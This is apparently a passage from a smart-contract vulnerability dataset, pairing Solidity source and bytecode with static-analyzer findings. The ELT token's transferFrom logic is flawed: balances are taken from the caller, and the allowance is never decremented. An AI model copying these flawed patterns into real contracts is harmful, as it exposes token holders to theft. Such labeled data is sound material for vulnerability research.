5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c3565b6001600160a01b03831660009081526005602052604090205460ff161561111b5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c3565b6001600160a01b03831660009081526004602052604081205460ff1615801561115d57506001600160a01b03831660009081526004602052604090205460ff16155b80156111735750600c54600160a81b900460ff16155b80156111a35750600c546001600160a01b03858116911614806111a35750600c546001600160a01b038481169116145b156113a557600c54600160b81b900460ff166112015760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c3565b50600c546001906001600160a01b0385811691161480156112305750600b546001600160a01b03848116911614155b801561123d575042600e54115b156112aa57600061124d84610683565b905061126e606461126868056bc75e2d6310000060016114c5565b90611544565b83111561127a57600080fd5b611293606461126868056bc75e2d6310000060026114c5565b61129d8483611586565b11156112a857600080fd5b505b600d544214156112d8576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112e330610683565b600c54909150600160b01b900460ff1615801561130e5750600c546001600160a01b03868116911614155b156113a35780156113a357600c546113429060649061126890600f9061133c906001600160a01b0316610683565b906114c5565b81111561136f57600c5461136c9060649061126890600f9061133c906001600160a01b0316610683565b90505b6000611381600d6112688460036114c5565b905061138d8183611c53565b9150611398816115e5565b6113a182610cad565b505b505b6113b184848484611615565b50505050565b600081848411156113db5760405162461bcd60e51b81526004016104c39190611900565b5060006113e88486611c53565b95945050505050565b60006006548211156114585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c3565b6000611462611718565b905061146e8382611544565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114d4575060006104f6565b60006114e08385611c6a565b9050826114ed8583611c89565b1461146e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c3565b600061146e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173b565b6000806115938385611bad565b90508381101561146e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b600c805460ff60b01b1916600160b01b1790556116053061dead83610f4b565b50600c805460ff60b01b19169055565b808061162357611623611769565b60008060008061163287611785565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165f90856117cc565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168e9084611586565b6001600160a01b0389166000908152600160205260409020556116b08161180e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116f591815260200190565b60405180910390a3505050508061171157611711600954600855565b5050505050565b6000806000611725611858565b90925090506117348282611544565b9250505090565b6000818361175c5760405162461bcd60e51b81526004016104c39190611900565b5060006113e88486611c89565b60006008541161177857600080fd5b6008805460095560009055565b60008060008060008061179a8760085461189a565b9150915060006117a8611718565b90506000806117b88a85856118c7565b909b909a5094985092965092945050505050565b600061146e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b7565b6000611818611718565b9050600061182683836114c5565b306000908152600160205260409020549091506118439082611586565b30600090815260016020526040902055505050565b600654600090819068056bc75e2d631000006118748282611544565b8210156118915750506006549268056bc75e2d6310000092509050565b90939092509050565b600080806118ad606461126887876114c5565b905060006118bb86836117cc565b96919550909350505050565b600080806118d586856114c5565b905060006118e386866114c5565b905060006118f183836117cc565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192d57858101830151858201604001528201611911565b8181111561193f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e257600080fd5b803561197581611955565b919050565b6000806040838503121561198d57600080fd5b823561199881611955565b946020939093013593505050565b6000806000606084860312156119bb57600080fd5b83356119c681611955565b925060208401356119d681611955565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1057600080fd5b823567ffffffffffffffff80821115611a2857600080fd5b818501915085601f830112611a3c57600080fd5b813581811115611a4e57611a4e6119e7565b8060051b604051601f19603f83011681018181108582111715611a7357611a736119e7565b604052918252848201925083810185019188831115611a9157600080fd5b938501935b82851015611ab657611aa78561196a565b84529385019392850192611a96565b98975050505050505050565b600060208284031215611ad457600080fd5b813561146e81611955565b60008060408385031215611af257600080fd5b8235611afd81611955565b91506020830135611b0d81611955565b809150509250929050565b600060208284031215611b2a57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ba657611ba6611b7c565b5060010190565b60008219821115611bc057611bc0611b7c565b500190565b600060208284031215611bd757600080fd5b815161146e81611955565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c325784516001600160a01b031683529383019391830191600101611c0d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6557611c65611b7c565b500390565b6000816000190483118215151615611c8457611c84611b7c565b500290565b600082611ca657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220425c910bc15f51c31775463c6cd4852ca4c65b75c0744c9317ea27c25a902e2264736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,344 |
0x9da47a2b34f9707bc931fa31f0003a149f4aa92e
|
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// ERC Token Standard #223 Interface
// https://github.com/Dexaran/ERC223-token-standard/token/ERC223/ERC223_interface.sol
// ----------------------------------------------------------------------------
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value, bytes data) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ELTTokenType {
uint public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => uint) timevault;
mapping(address => mapping(address => uint)) allowed;
// Token release switch
bool public released;
// The date before the release must be finalized or upgrade path will be forced
uint public releaseFinalizationDate;
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* @title Owned
* @dev To verify ownership
*/
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token is ERC20Interface, ERC223Interface, ELTTokenType {
using SafeMath for uint;
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data, false);
}
else {
return transferToAddress(_to, _value, _data, false);
}
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
*/
function approve(address _spender, uint _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly
{
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data, bool withAllowance) private returns (bool success) {
transferIfRequirementsMet(msg.sender, _to, _value, withAllowance);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data, bool withAllowance) private returns (bool success) {
transferIfRequirementsMet(msg.sender, _to, _value, withAllowance);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function checkTransferRequirements(address _from, address _to, uint _value) private view {
require(_to != address(0));
require(released == true);
require(now > releaseFinalizationDate);
if (timevault[msg.sender] != 0)
{
require(now > timevault[msg.sender]);
}
if (balanceOf(_from) < _value) revert();
}
function transferIfRequirementsMet(address _from, address _to, uint _value, bool withAllowances) private {
checkTransferRequirements(_from, _to, _value);
if ( withAllowances)
{
require (_value <= allowed[_from][msg.sender]);
}
balances[_from] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
}
function transferFrom(address from, address to, uint value) public returns (bool) {
bytes memory empty;
if (isContract(to)) {
return transferToContract(to, value, empty, true);
}
else {
return transferToAddress(to, value, empty, true);
}
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
return true;
}
}
contract TimeVaultInterface is ERC20Interface, ERC223Interface {
function timeVault(address who) public constant returns (uint);
function getNow() public constant returns (uint);
function transferByOwner(address to, uint _value, uint timevault) public returns (bool);
}
contract TimeVaultToken is owned, ERC20Token, TimeVaultInterface {
function transferByOwner(address to, uint value, uint earliestReTransferTime) onlyOwner public returns (bool) {
transfer(to, value);
timevault[to] = earliestReTransferTime;
return true;
}
function timeVault(address owner) public constant returns (uint earliestTransferTime) {
return timevault[owner];
}
function getNow() public constant returns (uint blockchainTimeNow) {
return now;
}
}
contract StandardToken is TimeVaultToken {
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardTokenExt is StandardToken {
/* Interface declaration */
function isToken() public pure returns (bool weAre) {
return true;
}
}
contract VersionedToken is owned {
address public upgradableContractAddress;
function VersionedToken(address initialVersion) public {
upgradableContractAddress = initialVersion;
}
function update(address newVersion) onlyOwner public {
upgradableContractAddress = newVersion;
}
function() public {
address upgradableContractMem = upgradableContractAddress;
bytes memory functionCall = msg.data;
assembly {
// Load the first 32 bytes of the functionCall bytes array which represents the size of the bytes array
let functionCallSize := mload(functionCall)
// Calculate functionCallDataAddress which starts at the second 32 byte block in the functionCall bytes array
let functionCallDataAddress := add(functionCall, 0x20)
// delegatecall(gasAllowed, callAddress, inMemAddress, inSizeBytes, outMemAddress, outSizeBytes) returns/pushes to stack (1 on success, 0 on failure)
let functionCallResult := delegatecall(gas, upgradableContractMem, functionCallDataAddress, functionCallSize, 0, 0)
let freeMemAddress := mload(0x40)
switch functionCallResult
case 0 {
// revert(fromMemAddress, sizeInBytes) ends execution and returns value
revert(freeMemAddress, 0)
}
default {
// returndatacopy(toMemAddress, fromMemAddress, sizeInBytes)
returndatacopy(freeMemAddress, 0x0, returndatasize)
// return(fromMemAddress, sizeInBytes)
return (freeMemAddress, returndatasize)
}
}
}
}
contract ELTToken is VersionedToken, ELTTokenType {
string public name;
string public symbol;
function ELTToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals, uint _releaseFinalizationDate, address _initialVersion) VersionedToken(_initialVersion) public {
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
// Allocate initial balance to the owner
balances[_owner] = _totalSupply;
releaseFinalizationDate = _releaseFinalizationDate;
released = false;
}
}
contract ELTTokenImpl is StandardTokenExt {
/** Name and symbol were updated. */
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
function ELTTokenImpl() public {
}
/**
* One way function to perform the final token release.
*/
function releaseTokenTransfer(bool _value) onlyOwner public {
released = _value;
}
function setreleaseFinalizationDate(uint _value) onlyOwner public {
releaseFinalizationDate = _value;
}
/**
* Owner can update token information here.
*
* It is often useful to conceal the actual token association, until
* the token operations, like central issuance or reissuance have been completed.
* In this case the initial token can be supplied with empty name and symbol information.
*
* This function allows the token owner to rename the token after the operations
* have been completed and then point the audience to use the token contract.
*/
function setTokenInformation(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013c57806318160ddd146101ca5780631c1b8772146101f3578063313ce5671461022c5780636748a0c6146102555780638da5cb5b1461027e57806395d89b41146102d35780639613252114610361578063a842f0f21461038e578063f2fde38b146103e3575b34156100af57600080fd5b60006100b9610705565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506000368080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505090508051602082016000808383875af46040518160008114610137573d6000833e3d82f35b600082fd5b341561014757600080fd5b61014f61041c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d557600080fd5b6101dd6104ba565b6040518082815260200191505060405180910390f35b34156101fe57600080fd5b61022a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506104c0565b005b341561023757600080fd5b61023f61055f565b6040518082815260200191505060405180910390f35b341561026057600080fd5b610268610565565b6040518082815260200191505060405180910390f35b341561028957600080fd5b61029161056b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102de57600080fd5b6102e6610590565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032657808201518184015260208101905061030b565b50505050905090810190601f1680156103535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561036c57600080fd5b61037461062e565b604051808215151515815260200191505060405180910390f35b341561039957600080fd5b6103a1610641565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ee57600080fd5b61041a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610667565b005b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b25780601f10610487576101008083540402835291602001916104b2565b820191906000526020600020905b81548152906001019060200180831161049557829003601f168201915b505050505081565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561051b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106265780601f106105fb57610100808354040283529160200191610626565b820191906000526020600020905b81548152906001019060200180831161060957829003601f168201915b505050505081565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6020604051908101604052806000815250905600a165627a7a723058204df886d4ec9f2eee11b63a16ce7a1b4eac91ca88540bfacb152f11b7c2483aa90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,345 |
0xe00ed171a3d2609ab48676963fe56b636aa19e7e
|
/**
*Submitted for verification at Etherscan.io on 2019-10-11
*/
// File: contracts/SafeMath.sol
pragma solidity >= 0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Timelock.sol
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e214610740578063e177246e1461076b578063f2b06537146107a6578063f851a440146107f9576100c2565b80636a42b8f8146106bf5780637d645fab146106ea578063b1b43ae514610715576100c2565b80630825f38f146100c75780630e18b681146102c657806326782247146102dd5780633a66f901146103345780634dd18bf5146104db578063591fcdfe1461052c575b600080fd5b61024b600480360360a08110156100dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561012457600080fd5b82018360208201111561013657600080fd5b8035906020019184600183028401116401000000008311171561015857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101bb57600080fd5b8201836020820111156101cd57600080fd5b803590602001918460018302840111640100000000831117156101ef57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028b578082015181840152602081019050610270565b50505050905090810190601f1680156102b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d257600080fd5b506102db610ed1565b005b3480156102e957600080fd5b506102f261105f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034057600080fd5b506104c5600480360360a081101561035757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561039e57600080fd5b8201836020820111156103b057600080fd5b803590602001918460018302840111640100000000831117156103d257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561043557600080fd5b82018360208201111561044757600080fd5b8035906020019184600183028401116401000000008311171561046957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611085565b6040518082815260200191505060405180910390f35b3480156104e757600080fd5b5061052a600480360360208110156104fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144b565b005b34801561053857600080fd5b506106bd600480360360a081101561054f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561059657600080fd5b8201836020820111156105a857600080fd5b803590602001918460018302840111640100000000831117156105ca57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561062d57600080fd5b82018360208201111561063f57600080fd5b8035906020019184600183028401116401000000008311171561066157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611578565b005b3480156106cb57600080fd5b506106d46118c3565b6040518082815260200191505060405180910390f35b3480156106f657600080fd5b506106ff6118c9565b6040518082815260200191505060405180910390f35b34801561072157600080fd5b5061072a6118d0565b6040518082815260200191505060405180910390f35b34801561074c57600080fd5b506107556118d7565b6040518082815260200191505060405180910390f35b34801561077757600080fd5b506107a46004803603602081101561078e57600080fd5b81019080803590602001909291905050506118de565b005b3480156107b257600080fd5b506107df600480360360208110156107c957600080fd5b8101908080359060200190929190505050611a53565b604051808215151515815260200191505060405180910390f35b34801561080557600080fd5b5061080e611a73565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1